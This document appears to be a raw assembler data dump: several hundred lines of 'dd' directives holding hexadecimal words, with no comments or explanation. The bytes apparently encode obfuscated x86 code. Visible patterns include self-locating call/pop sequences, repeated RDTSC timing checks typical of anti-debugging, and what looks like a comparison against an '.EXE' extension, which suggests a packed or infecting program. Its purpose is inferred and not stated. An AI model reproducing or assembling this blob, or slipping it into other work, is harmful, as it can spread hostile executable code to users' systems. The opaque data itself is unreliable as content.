dd 8FE2DC9Bh, 6C3446AFh, 4C006AB1h, 0E834E29h, 9E50A51Eh
dd 2644D205h, 119F5A30h, 0D46A0D35h, 0C0FD84D6h, 2B4D6D13h
dd 6D4DA721h, 0E4EA94D7h, 0BFCFE7Ch, 3A4243BAh, 0FCD598C6h
dd 9A50A1A8h, 1B635D57h, 0E16D5F35h, 474F19C4h, 3715C77Eh
dd 4C015A8Ah, 9E8DC78h, 0E5000000h, 0FDD74CE6h, 9EB293A1h
dd 59C38B66h, 4807B866h, 6DBDC181h, 0EE90000h, 9E000000h
dd 5756168Ch, 8593A209h, 8E15ECE6h, 1B38684Eh, 95890000h
dd 6071EF9h, 31FFFC5Bh, 5EFEBF0Fh, 94EF8166h, 0ACEE81EBh
dd 0E97291D8h, 0Eh, 0EB196865h, 5C0A3EE8h, 0D8026691h
dd 0F681B3A9h, 7F7362DFh, 0CB18D29h, 0F6810607h, 9395E28h
dd 48DBD31h, 31890607h, 2615BD89h, 0E9810607h, 290C7A4Eh
dd 0AE960h, 45020000h, 300D4BD6h, 25072BFBh, 11E8h, 87092200h
dd 497FD651h, 5B5DFFF3h, 51A93604h, 58F82BA0h, 4AC18161h
dd 23290C7Ah, 71E6185h, 1EB8306h, 12850Fh, 0B5890000h
dd 6070795h, 17E9h, 0E0957F00h, 9EF83CB7h, 2918503h, 5BE90607h
dd 2DFFFFFFh, 0B75D83F3h, 0B0E9h, 8C666000h, 4C2F6DAh
dd 0C850Fh, 853B0000h, 607059Dh, 36840Fh, 853B0000h, 6071085h
dd 2A840Fh, 853B0000h, 60729E5h, 1E840Fh, 853B0000h, 6071FFDh
dd 12840Fh, 0BD830000h, 6072C75h, 5840F01h, 0E9000000h
dd 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh
dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h
dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh
dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h
dd 6074B9Bh, 5B8h, 61E3FF00h, 0E9D00BC3h, 19Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FEC35040h, 6C71713Ch
dd 0F605F3Ch, 68Dh, 800F00h, 60000000h, 12E8h, 0C017FF00h
dd 2F2F05ADh, 5F0D68A9h, 32EBDB5h, 5A70AA79h, 0B58D6161h
dd 60C5EACh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 18C35242h, 32EA9240h, 8D285161h, 0A481785h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 4E7CD448h, 0BE86038h, 9E000000h, 816AC853h, 6B89CC0Eh
dd 0B55F6B2Ah, 0D0FF6174h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 7AC35040h, 2AA18243h, 8B6660C3h, 95E2B8CEh
dd 66614C6Eh, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 67C826C3h, 800FFED2h, 2, 0C1F66160h
dd 5E840F04h, 0E9000000h, 0Dh, 4610EE72h, 40A20487h, 179482BCh
dd 0E830F3Fh, 60000000h, 810Fh, 890F0000h, 0
dd 8BFB8B61h, 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh
dd 0CD00EBD9h, 1013F20h, 74C00B00h, 0C708D18h, 0CB8BFA8Bh
dd 490A75A6h, 1B8FA75h, 0EB000000h, 0EB008B09h, 0B8E4h
dd 0E9CF0000h, 10h, 94751F35h, 343E0AB0h, 6B3E2B84h, 0DF894861h
dd 10E9h, 285F4A00h, 18DB7AF8h, 4A75DD9Eh, 8985BCF9h, 1E85C7D2h
dd 3F060C5Fh, 0E8000101h, 13h, 0BDA29BFCh, 0B257DA5h, 0D6D8094Dh
dd 403CDF60h, 0E9D318D6h, 0Fh, 7788670Eh, 0FE40D4ECh, 0C940B5D8h
dd 5BD3BBBFh, 0AE9h, 5967D500h, 0BE7A2DB1h, 812CA9FBh
dd 5E6CC3h, 14E900h, 639D0000h, 642D43DBh, 0EAAF77Fh, 0EC778867h
dd 0D8FE40D4h, 0C02B40B5h, 5E8h, 0FF7A5400h, 0FA8B13DAh
dd 3148B5Fh, 6A5E0FB9h, 10F2816Eh, 66791025h, 817F59BFh
dd 0E9650CC2h, 5FF95376h, 0EB36F281h, 66524C53h, 530ADF81h
dd 5603048Fh, 0F181665Fh, 0E883245Bh, 0E2BE6602h, 814848D7h
dd 0FFA274F8h, 20850FFFh, 0E9000000h, 11h, 0B156B805h
dd 0C0DF142Ch, 13669025h, 0CEC8C7BBh, 1EE9E3h, 3ABA0000h
dd 0F580A58Eh, 0FFFF94E9h, 0FD7A62FFh, 40145F26h, 0B659123Eh
dd 0C4B8B37Bh, 4131A406h, 60EBh, 17h dup(0)
dd 91E90000h, 0E900000Bh, 0B85h, 0C68F468h, 1CADE906h
dd 2068FFFBh, 0E9060C6Ah, 0FFFB1CA3h, 0C6A7368h, 1C99E906h
dd 1041FFFBh, 0D39E075h, 836DD72h, 231D86Dh, 0F82BD267h
dd 152DC85Dh, 0F98E275Ah, 0F3882552h, 0F2871A4Ch, 0E77C1B4Bh
dd 4DBEAC1Ah, 98439792h, 0A225AF81h, 31AE61AAh, 72735DC7h
dd 7F01A845h, 0D30691BEh, 650CA142h, 74FBA235h, 7A08AF42h
dd 2AAA44F7h, 9F892D85h, 2DD4719Eh, 4CE273A6h, 7DC7FC9h
dd 46593DF5h, 4E740098h, 0F811FB9Ch, 85B53E71h, 23AA51F2h
dd 2BB259F4h, 2DBB62FDh, 6F0CD7AAh, 5D47381Fh, 0EE95305Ch
dd 2FC5BD45h, 97E5F141h, 8F27AA47h, 9AC0BF3Ch, 572A240Eh
dd 386811C1h, 47E87FAFh, 1C1D07A0h, 12C055F0h, 1E037462h
dd 7B4E4397h, 0F0E46E91h, 1E076C5Ah, 6F424397h, 761141C8h
dd 0FC2C6FE1h, 0C2140F69h, 13967F0Ah, 0D94C2E2Ah, 0FC6D410Ch
dd 4749A37Bh, 7C20917Fh, 986B49A3h, 26FC56F7h, 4DA225B4h
dd 31F6F9A1h, 0F0F54E38h, 0A1CAF3Eh, 3Ch, 0C25D8932h, 0CC98821Bh
dd 318B7F0Ah, 0B8497C25h, 67D8C6CEh, 0A449A3F2h, 1240C9FBh
dd 9637D077h, 0C4F1B2ACh, 0CFFB8229h, 4FF08930h, 0B12554AEh
dd 0B65002Ch, 4A32E4F6h, 0A8000000h, 78C37F0Ah, 71C9DE80h
dd 255AB455h, 0CBB5507Ch, 0F264D5C3h, 287149A3h, 0A0CD5CF5h
dd 24C55E05h, 7FF0DE8Eh, 0CA49A3F2h, 25410DF7h, 69FCC75h
dd 2C501Ch, 75250B65h, 238643F2h, 0A87CDB92h, 49A39D37h
dd 8EC5AF82h, 8A820A7Ch, 0F7D006F4h, 986B47A2h, 0E7B825F1h
dd 2E5439Ch, 0CB23B234h, 83B91FB5h, 1D000001h, 16877525h
dd 6149A3F2h, 0F781A48Eh, 167F6D03h, 5149A3F2h, 2050D77Eh
dd 2C7EF085h, 140F69FCh, 9D7F0AC2h, 9831D86Bh, 0B4269DF7h
dd 0AEB411D4h, 53EB1Ch, 0A4F0000h, 0D5709D7Fh, 41B2A02Eh
dd 8C49A3F2h, 948218B9h, 49A3F223h, 0A0FA9B6Eh, 0F2C63725h
dd 3E1149A3h, 990AF8A8h, 0E449A3F2h, 255B2711h, 9AC7507Ch
dd 1ABB54FBh, 0E8F0DA73h, 65002C74h, 5EF726CFh, 0E4F6A874h
dd 0B44D7C25h, 8F8A740Dh, 3Fh, 8B7F0A05h, 0A79545F5h, 49A3F236h
dd 69DAAE81h, 0D349A3F2h, 4CB33013h, 27FA8291h, 7525713Dh
dd 0A3F21687h, 8E275A49h, 7C174506h, 0FBE9F1DBh, 49A3F28Ah
dd 25E23C97h, 65002CB1h, 0AE4F60Bh, 8F68C80h, 49A3F2ABh
dd 0D55C03D6h, 0B7D12A5h, 0F69FC2Ch, 7F0AC214h, 7C25318Bh
dd 0FF9ECA49h, 0FB6D745Eh, 0AEB411D4h, 48EB1Ch, 0A4F0000h
dd 4CF58B7Fh, 48E18819h, 0B57A11DFh, 826CFA42h, 0C63725B6h
dd 1149A3F2h, 0B125E43Eh, 0B44D7C25h, 898A740Dh, 6EDFCD5Dh
dd 0B949A3F2h, 8E2957E6h, 7EAE57EDh, 0F631FDE7h, 4632E4h
dd 0C36C0000h, 0B750F796h, 752501CDh, 0A3F21687h, 0DDC66149h
dd 0C64471B0h, 40634DEEh, 4A3D3B5h, 635C45Dh, 8A2BC46Bh
dd 0C6372530h, 0D349A3F2h, 7C251E78h, 0C7CFB94Ch, 65002C53h
dd 25A8F60Bh, 0D4CE067Ch, 86523CF7h, 0FC32h, 800AA800h
dd 9646F68Ch, 0A3F237A8h, 0C5AF8249h, 0A3F2167Fh, 0E87E5149h
dd 0F2D94A38h, 512449A3h, 97C74E67h, 0AE643E38h, 2AF58191h
dd 937BE453h, 841ABBFDh, 0F31FA8DBh, 7314AD54h, 424933CCh
dd 69FC2CD0h, 25C2140Fh, 74CFD4A2h, 0E77D03D5h, 0A37588F9h
dd 1600D349h, 1A7468F3h, 0DAC87826h, 49A3F269h, 0F178E1B4h
dd 870159DEh, 257B4731h, 0F2168775h, 8E6149A3h, 0B49A4BA4h
dd 54401CAEh, 68000000h, 0A70FFDE5h, 0A039E077h, 7F255737h
dd 7C25C995h, 0A8CBB550h, 1093291Dh, 0B4BCC99Ch, 26F2DC59h
dd 0F2C63725h, 501149A3h, 4DE3841Dh, 0F23EAF9Dh, 0C18949A3h
dd 0A3F262D3h, 39DAAD49h, 0B125834Fh, 0B65002Ch, 7C25E4F6h
dd 7710B74Ah, 27928Dh, 0A080000h, 25318B7Fh, 79ACC75h
dd 97DDC760h, 49A3F226h, 54C5B363h, 9F49A3F2h, 4FAAE2CCh
dd 2CB125F5h, 0F60B6500h, 69FC2CE4h, 0C43523D3h, 0F49A3F2h
dd 0E283224Eh, 2658DFF8h, 33D46F9Dh, 30C7F79Eh, 0F252BD89h
dd 65AE49A3h, 0BC3D6DDBh, 2B8DF68Fh, 3AC54B5Eh, 2CD36809h
dd 2AD369FCh, 58715BFAh, 0FE9A47CAh, 0D942D306h, 372189F1h
dd 0FA32EF48h, 0D25FDC77h, 3B259EF9h, 0B8E856E0h, 1CC93A28h
dd 411449A3h, 0BA420BA0h, 0D37C2CC2h, 0D81E08A7h, 47A221A2h
dd 1687753Dh, 61439C11h, 7A46ED8Eh, 439C110Dh, 0CF01AA3Ah
dd 0DC7D1846h, 478997F2h, 1FB6A18Eh, 256EB538h, 399191E0h
dd 56BFC98Fh, 2A149F9Ch, 1736h, 0FC2C9A00h, 85F6C269h
dd 0E549A3F2h, 74A4929Ch, 74A24BE1h, 76E8EFD9h, 0C269FC2Ch
dd 3999119h, 0F1F46553h, 0B3849A3h, 0AA32CB72h, 7B1648D7h
dd 0A79B8991h, 0BE479811h, 7FAC55EBh, 0BCA63FE6h, 7E64ECB5h
dd 7D13B451h, 0EFA777FAh, 0F25BD8B3h, 0AA6702FFh, 0F2FAE434h
dd 96AACE04h, 0EF966941h, 909AB623h, 3600E33Dh, 0C21825B0h
dd 42B725h, 0A1B0000h, 4DF68C80h, 949C8621h, 0A3F245A6h
dd 86B96249h, 0C1AB44EBh, 0AE5EF4C7h, 85A3E2Bh, 76608AB0h
dd 8CBE4775h, 18B952F9h, 73E4D282h, 0BE49A30Eh, 80AAD623h
dd 71128842h, 31DF8087h, 55000000h, 42C4800Ah, 75B4D24Ch
dd 0B7A53BDCh, 49A3035Ah, 6C1CB285h, 143FB2E9h, 0AF42C3Ch
dd 0AA40DB09h, 4E9B0CFAh, 25E649A3h, 1EB75EF9h, 1A8C937Dh
dd 1A732h, 810AA800h, 0C2142F89h, 0F69FC2Ch, 0B34E7C25h
dd 8289730Ch, 4F7C2510h, 7273CCB6h, 681CAEB4h, 38h, 89810ACCh
dd 0CC75252Fh, 0D91F099Ch, 49A3F268h, 2586E0B3h, 10B74A7Ch
dd 11858D77h, 0DF9BFE2Ch, 4EB38723h, 0F660BA5Bh, 3E32E4h
dd 0E96C0000h, 42CCC9Ah, 76422CD6h, 0F389810Ah, 957F1E4Ah
dd 507C25C9h, 8B750EB5h, 0F2249583h, 0D63149A3h, 5689740h
dd 0A3DA7678h, 0C36A0BF4h, 2574402Ah, 0CFB94C7Ch, 0FE2C53C7h
dd 0E4F60963h, 497BFC2Ch, 0CD6E07AEh, 0D6861473h, 0F2C73826h
dd 3F1249A3h, 0A3F1FA6Bh, 88724549h, 0C37F0ABCh, 116670E0h
dd 0BBEE7DDBh, 70F3892Ah, 915526F5h, 531F0920h, 11D4B426h
dd 0D71CAEB4h, 0F2C83927h, 4B1346A3h, 0A3F1EC5Dh, 0C3643746h
dd 0F2CE3F2Dh, 461946A3h, 41685Ch, 0ACC0000h, 25318B7Fh
dd 0A3F2C637h, 0E43E1149h, 9CCC7525h, 0DFC96209h, 77002C13h
dd 6C05AC4Bh, 5D8C35CBh, 9A841DC4h, 32E4F6CEh, 6Ch, 5DCEBC6Ch
dd 0A849A3F2h, 0F281F2E0h, 0F9CC49A3h, 25A26E58h, 12B94C7Ch
dd 0E16C8F79h, 752593EDh, 0A3F21687h, 0F9C88049h, 5636EED0h
dd 911FBCEh, 4ABBA959h, 9549A3A4h, 2192D8C2h, 2E49A3A4h
dd 0F4BA3DD3h, 0C83927A9h, 1349A357h, 0E57AD740h, 0E1B181ECh
dd 0A54661DCh, 0B125EFBBh, 0CF65002Ch, 0F2C0311Fh, 380B49A3h
dd 0E4F6824Eh, 16877525h, 6149A3F2h, 71A3A48Eh, 1EA12FD6h
dd 43BD0099h, 5BA18B80h, 49A3ECEDh, 96808EC7h, 0CA3CD164h
dd 0D167FA2Ch, 755FFA28h, 22A3D55Ch, 20AE55F0h, 0A3F2C132h
dd 98390C49h, 399F50F7h, 3B4ECBB6h, 735D4431h, 0EE200E18h
dd 0F7D2BE53h, 549A3BBh, 0AF02B81Eh, 0FE202219h, 9A4AFFFFh
dd 0A3A33BACh, 0C9B38649h, 0F27AE7FDh, 8C7949A3h, 0C949A3F1h
dd 6953EE20h, 0A3F1B723h, 0F145B249h, 0D28249A3h, 0A3F173E4h
dd 1EBBE49h, 0A3F14EBBh, 0F1E04D49h, 7A0289A3h, 84B524BAh
dd 15B61D5Eh, 70E1CF7Fh, 0BB89A3ACh
dd 9BE17FE8h, 0BFF05765h, 6D1DCDD5h, 0A3890E7Fh, 9C865989h
dd 9C384E56h, 0BB28587h, 4CE2DA62h, 98A6D45Eh, 663C0F81h
dd 307F639Eh, 9B8C0D3Ch, 38000002h, 32D96E07h, 2BD26706h
dd 26CD62FDh, 22C95EF7h, 26C156EFh, 8520530Eh, 811C49F0h
dd 801345ECh, 811444EBh, 0C3B11FECh, 43978A52h, 2CB4869Dh
dd 19C269FCh, 0DD78AB91h, 66FC9D36h, 98117878h, 0D0E9147h
dd 8C5F712Eh, 582B250Fh, 0F96AD7C3h, 48C4396h, 9FCD760Ch
dd 0DAC45D04h, 1998E4D2h, 975F418Bh, 8A9938A9h, 0B94C7C3Dh
dd 27BD5E31h, 30EF4E7Eh, 0DA04163Dh, 0CC73123Eh, 5CF19233h
dd 5CF285B5h, 9D632DD9h, 0B7460CDCh, 0B24BF285h, 7821AFC8h
dd 0E147B049h, 9B306587h, 0D53A806Ah, 0E73D8A08h, 0AB46795Fh
dd 34CA6B04h, 7E284E46h, 0FC92653Bh, 0EF842353h, 0D67D1848h
dd 17ADA52Dh, 71C83529h, 0D2794C35h, 13A9A129h, 0FBD73E6Ah
dd 3D7D6B25h, 30C97011h, 503E46h, 0C72F660Bh, 85B55EF4h
dd 3A75D804h, 916B2C45h, 0C44BF293h, 0C0590091h, 0CA63901Fh
dd 3DE69429h, 898A740Fh, 4B17BE59h, 2B6516DEh, 0EA807800h
dd 5905FCFCh, 0A9502329h, 0EA807800h, 5797AAFCh, 0CCA27523h
dd 0D63C84F2h, 6F50D100h, 0C000001h, 0EB54ADBh, 7AE43E2h
dd 2A93ED9h, 0FEA53AD3h, 0AA53ACBh, 710437F2h, 6D0835DCh
dd 64FF31D8h, 5DF828CFh, 9F8DFBC8h, 4397882Eh, 0A906279h
dd 6F48A82h, 47981206h, 0AB35A2Dh, 6F48A82h, 41968F58h
dd 5E7A5023h, 24F07D6Bh, 11C74F5h, 88B90000h, 85B158EDh
dd 80AE55EAh, 7AA950E5h, 70A34ADFh, 8DA540D5h, 71069FD2h
dd 6B009DCAh, 6AFF92C4h, 5FF493C3h, 0C5362492h, 10439788h
dd 820A27F9h, 9B44F48Ah, 9CE2CC6Bh, 479811A4h, 0BA41E8BBh
dd 0AF56EB8Ah, 9841E87Fh, 0A2FC5010h, 0C86F0636h, 0B321C62Fh
dd 0ECC95AA5h, 8D2EAA06h, 67D356ECh, 0DA950F82h, 0A18F9781h
dd 418B7255h, 8D285B1Ch, 9233D2FEh, 8B2A56FDh, 86214FF6h
dd 821B4AF1h, 0EA0669ECh, 0C6C99EC0h, 0FB2ED5DCh, 3551D46Ah
dd 0BE3D95E3h, 7B1D532Dh, 0FF100F12h, 34670E15h, 38650CA1h
dd 6957079Dh, 3D8A67F8h, 7F867043h, 760BA6D8h, 5AED1FC8h
dd 14FF52B3h, 0B0EF6667h, 0F424250Fh, 751ECC61h, 6E07AE49h
dd 0B7568384h, 0B0497821h, 6C56F121h, 0DF0EB765h, 23119F46h
dd 3D8A9EB2h, 9F892AFDh, 66FCF47Ch, 7EBE2C78h, 7920F33Bh
dd 8E23C2F2h, 1DEDh, 0A5A42700h, 82D9A57Fh, 0E984B241h
dd 0F3BFA942h, 0F0497C25h, 0F511669h, 0F4DE7F75h, 0FB2C4325h
dd 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h
dd 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h, 7B20h, 53240489h
dd 0C381E389h, 4, 4EB81h, 1C870000h, 3C895C24h, 63A26824h
dd 2C890000h, 4B85024h, 48575D79h, 4907B951h, 0C8014631h
dd 0F4054059h, 2D2E7F59h, 0C601BB14h, 5458C789h, 81242C8Bh
dd 4C4h, 8B85000h, 1000000h, 8B3889E8h, 0C4812404h, 4
dd 57242C8Bh, 0C781E789h, 4, 4C781h, 3C870000h, 3C8B5C24h
dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FB113EE9h
dd 64BFACFFh, 0BB6C3601h, 97AA260Eh, 6BB4B812h, 0C503060Ch
dd 8D8DC38Bh, 60C6CEDh, 5659D89h, 8D890607h, 6071AD9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 11C35040h
dd 655AB646h, 85C76A4Bh, 607101Dh, 6654h, 2B099589h, 85C70607h
dd 6073305h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 77C35545h
dd 21B5FFA1h, 6606070Ah, 0FF4672BFh, 7185995h, 0AE806h
dd 857D0000h, 0FCAE5FA0h, 0CFF70ADBh, 0FF006A5Bh, 70D6995h
dd 0EBC08B06h, 0EF7D571Ah, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch
dd 0B7A1F999h, 20E5D647h, 0E854332Dh, 10h, 98EB69h, 0ABABE1AAh
dd 9A51E3E5h, 0D8C3991Eh, 6FCB8166h, 6E959E7h, 36000000h
dd 0B2F11D5Ch, 27C18184h, 0FC000061h, 0B8h, 28A0F00h, 8A000000h
dd 834FFDCh, 47D78166h, 13E95A0Eh, 48000000h, 0A13C71Ch
dd 0D36F01Fh, 282548EDh, 7E5FF0FEh, 0F281BFAFh, 60FED37Ch
dd 0F426EE81h, 0EA815FFAh, 34E3C1ECh, 0DE9h, 0AC9ACF00h
dd 9DB80286h, 39EC4A46h, 0C281C8B4h, 41B2166Bh, 8E9h, 56A42D00h
dd 0B3D25A05h, 1148961h, 1B45BD89h, 0BD8B0607h, 60732E9h
dd 6602E883h, 4848F18Bh, 63C78166h, 0B8F8815Dh, 0FFFFF9Fh
dd 1985h, 31858900h, 0E9060712h, 23h, 0F0AF291Fh, 0FF191426h
dd 0FD5FD63h, 62E91B2Bh, 31FFFFFFh, 0B224728Eh, 4D2ABD19h
dd 95195A32h, 0E844025Ah, 12h, 7E1EB9A7h, 4A0258h, 6A8BDD6Ch
dd 8FAF0E62h, 958BC012h, 60703ADh, 0DE9605Eh, 78000000h
dd 9019AF08h, 0FB08C4CAh, 3BCBE583h, 61F78B66h, 735DC681h
dd 8B660000h, 8BFF2BC1h, 711398Dh, 3734FF06h, 665BD08Bh
dd 812F94B9h, 6D2911F3h, 9D8B605Bh, 6070D85h, 9E8h, 0F709B200h
dd 26269204h, 8D8B3BF2h, 6072339h, 0EB81615Bh, 31E03FF3h
dd 78998B9h, 0C7C3816Ah, 0E84626F5h, 14h, 0FE6CCBF8h, 237DC36Ch
dd 9095CE2h, 0B94A35BCh, 25A7499Bh, 0CB1BD29h, 53580607h
dd 8B3E048Fh, 7088985h, 81858B06h, 8306070Eh, 0F8B204EFh
dd 8D94FF81h, 850FFFFFh, 19h, 2A8D8D8Bh, 2AE90607h, 0FE000000h
dd 0DB02D37h, 7EF37237h, 1B705CDBh, 56D08140h, 0E94F38B4h
dd 0FFFFFF5Dh, 90F1CB8Bh, 0C0087352h, 6E37A974h, 1143DFCDh
dd 13CE9D1h, 4Fh dup(0)
dd 0BD830000h, 60713A1h, 44840F01h, 0FC000005h, 0E2BA6660h
dd 0FACB81ACh, 6125D314h, 9CD85C6h, 60430607h, 816680B7h
dd 61CC66DAh, 6B6F7968h, 0F5250C5h, 68Ch, 0F525000h, 0F585A31h
dd 0FA8A6031h, 5A61D78Bh, 24348158h, 29CEBF8Ch, 0EB816660h
dd 0BF0F2DB6h, 8B0F61F2h, 1, 99B5FFF8h, 0F06070Dh, 684h
dd 61606000h, 8D61D98Bh, 0A703885h, 0E7816006h, 4CCDCDB1h
dd 61D7B70Fh, 10E9h, 2AC62C00h, 2E301A78h, 838DAD98h, 877BDAD7h
dd 0FD0FF23h, 0B8Dh, 0C4806000h, 8A0F48h, 61000000h, 1818589h
dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 0BB6A9AC3h, 0CD85C61Ch, 50060709h, 58E0F60h
dd 66000000h, 1E94CF81h, 13E9h, 50AA5900h, 0E439BC6Dh
dd 40B92185h, 0FDC1532Dh, 0B12F07Bh, 4E861h, 0AD560000h
dd 5250A8ADh, 0EE95250h, 6000000h, 81BBC537h, 8A5E14EDh
dd 72FB698Bh, 60310F8Fh, 0F585A61h, 46BA6031h, 0E96CEBBAh
dd 8, 0AFDF09EAh, 5DECEE56h, 50585A61h, 12890Fh, 52500000h
dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 424448Bh
dd 66D38B60h, 8B61CF8Bh, 50525000h, 0F616052h, 5A616031h
dd 50310F58h, 0F616052h, 0F525031h, 5A585A31h, 89585A58h
dd 0F042444h, 88Fh, 2880F00h, 60000000h, 8C0F5861h, 8
dd 2850Fh, 61600000h, 0D99B5FFh, 8DFC0607h, 0A703885h
dd 198E0F06h, 60000000h, 5CF083BEh, 0DE92Eh, 6D220000h
dd 58742186h, 0B9D08DA8h, 6170EBC1h, 8F0FD0FFh, 0Fh, 0AE9h
dd 98331100h, 0E7EE73B8h, 897763D9h, 72ADD85h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 665B07F1h, 0BFFE91A4h, 1820F86h, 0F9000000h, 4E8h, 8FA82F00h
dd 0EE9F0h, 0F5490000h, 5FFFE5EFh, 15EFA5B7h, 7254988Fh
dd 0F525050h, 682h, 0F525000h, 0F585A31h, 0AE931h, 56F60000h
dd 32DC4BF7h, 0B3D0C713h, 448B585Ah, 0F600424h, 28Fh, 8B616000h
dd 8B61F9h, 0BE9h, 0E325900h, 0F2A20EFFh, 9FF4757Fh, 4244489h
dd 14E9h, 83880300h, 0C74355E0h, 4DFB1280h, 0E290C79h
dd 0E6104E24h, 820F58C1h, 14h, 0FE9h, 6E30DA00h, 1DBEC4B0h
dd 7632512Bh, 4A27EF47h, 0DE9h, 40E53600h, 0EA9F4D99h
dd 2A9569DDh, 0B5FF96D5h, 6070D99h, 78B0Fh, 8E0F0000h
dd 1, 38858DF9h, 0E9060A70h, 14h, 0FD89E6C8h, 5ECE1D73h
dd 99854C9Ch, 7D702E98h, 1E022442h, 0E860D0FFh, 5, 0B1EBD02Fh
dd 0D78B662Fh, 0FE95Bh, 4B740000h, 1321DFBBh, 59B84EFCh
dd 6AAEE5BCh, 858961F7h, 6071B11h, 12800Fh, 800F0000h
dd 0Ch, 7E9h, 0CEC65800h, 11A689D1h, 9CD85C6h, 60500607h
dd 66C7B70Fh, 61007BB8h, 9B9FA368h, 0AE993h, 0F03B0000h
dd 0C7359352h, 0F253C812h, 0F5243481h, 6A040743h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 8C69C355h, 539C934Bh, 8F0F6026h, 2, 0EE805B53h, 0B5FF610Dh
dd 607059Dh, 0AEF38160h, 613A1257h, 3963858Dh, 80600607h
dd 0FA8B30C1h, 6AD0FF61h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0E3C2C355h, 0CA8A60C4h
dd 89F961F8h, 70B1185h, 870FF806h, 1, 171E9F5h, 95F50000h
dd 0C820F60h, 0E8000000h, 6, 641CF711h, 0E958F48Ch, 5
dd 0EBBDE01Bh, 0F50616Ch, 0C8Ah, 6880F00h, 0F000000h, 81h
dd 880F9500h, 5, 5F52F860h, 18F0F61h, 0F8000000h, 890FEC8Bh
dd 18h, 12800Fh, 0DE90000h, 0C4000000h, 89BF2C6h, 837C7798h
dd 0D550A274h, 60FCC483h, 11E8F5h, 32860000h, 7C9D3E05h
dd 0DDCAFB61h, 0F6B71A89h, 0F6A92C0h, 8Ch, 60615800h, 17840F60h
dd 0E8000000h, 11h, 6E960616h, 0BA91287Eh, 0C83D4961h
dd 55FC1024h, 0D8815F07h, 17452095h, 0E861h, 815A0000h
dd 0C74C3EAh, 0FC45C706h, 0
dd 13A1BA83h, 0F010607h, 9884h, 6A5200h, 92FF0F6Ah, 6070181h
dd 0F382895Ah, 8D060C6Eh, 0C6EF79Ah, 3C75206h, 128h, 92FF5053h
dd 6072ADDh, 9A8D525Ah, 60C6EF7h, 0F3B2FF53h, 0FF060C6Eh
dd 70B1192h, 0C00B5A06h, 9A8D5074h, 60C6EF7h, 33247B8Dh
dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h
dd 752B3934h, 91BA8D0Ch, 8B06071Bh, 0A4F30C4Dh, 52AAC032h
dd 8D0875FFh, 71B9182h, 92FF5006h, 6071B11h, 75C00B5Ah
dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
dd 8BF9F800h, 258D8DD2h, 6A060C76h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 5B87C351h
dd 8D89EAE6h, 6071AD9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 8EC35343h, 1D85C72Eh, 9C060710h, 8A000069h
dd 585C7D1h, 60733h, 23000000h, 70E59BDh, 39B5FF06h, 6A060720h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 7B59C356h, 728D42DCh, 185995FFh, 8D010607h
dd 60705B5h, 0DFE88166h, 0FF006AC0h, 70D6995h, 0EBC08B06h
dd 8A68604Fh, 5E01BC15h, 0B6ACAA6Dh, 0C4F5FCB0h, 29C8A86Dh
dd 122F4F2h, 37200F44h, 2219812Fh, 9D44374h, 27EAA991h
dd 0FEFA049Fh, 0A3E3AFD2h, 0FD6C201Eh, 5FAF1EB8h, 1CA7BA27h
dd 0C4FFA4F4h, 5556B42Fh, 7D8BDE19h, 5F9F683Bh, 55DA7197h
dd 772F8D8Dh, 0F60060Ch, 687h, 319D8900h, 8B060708h, 8D8961CFh
dd 6071AD9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 6AC35646h, 101D85C7h, 719C0607h, 81660000h, 89667DEAh
dd 701D1BDh, 585C706h, 60733h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 5E0CC350h
dd 7FCA4D32h, 0D2B70FDDh, 1351B5FFh, 858B0607h, 6070D31h
dd 185995FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 66757CC3h, 6ACBE1BAh, 6995FF00h
dd 8B06070Dh, 0AC29EBC0h, 0BFDA2375h, 68685E42h, 0C368EFC2h
dd 3602CC19h, 0F7692F6Fh, 0DE6CABE4h, 0E76A7EA0h, 7D3501D5h
dd 6DA78135h, 344C1DF9h, 0E8E213CCh, 0A48E4A0Dh, 0F07BAE63h
dd 46F7121h, 78133542h, 0FEC270F8h, 838185D7h, 31FF8570h
dd 46B4241Fh, 22C07877h, 287F884Ah, 3EC333E3h, 31C238F7h
dd 0C7436339h, 7F0D8A5Ch, 3224DC10h, 8C413527h, 37C51DEAh
dd 0D463AC9h, 0D9C235E4h, 31C2357Eh, 49AE238h, 4FF94E62h
dd 6CEE1D1Dh, 31C23CCEh, 0ADE3AB93h, 49159450h, 0D99CF7E5h
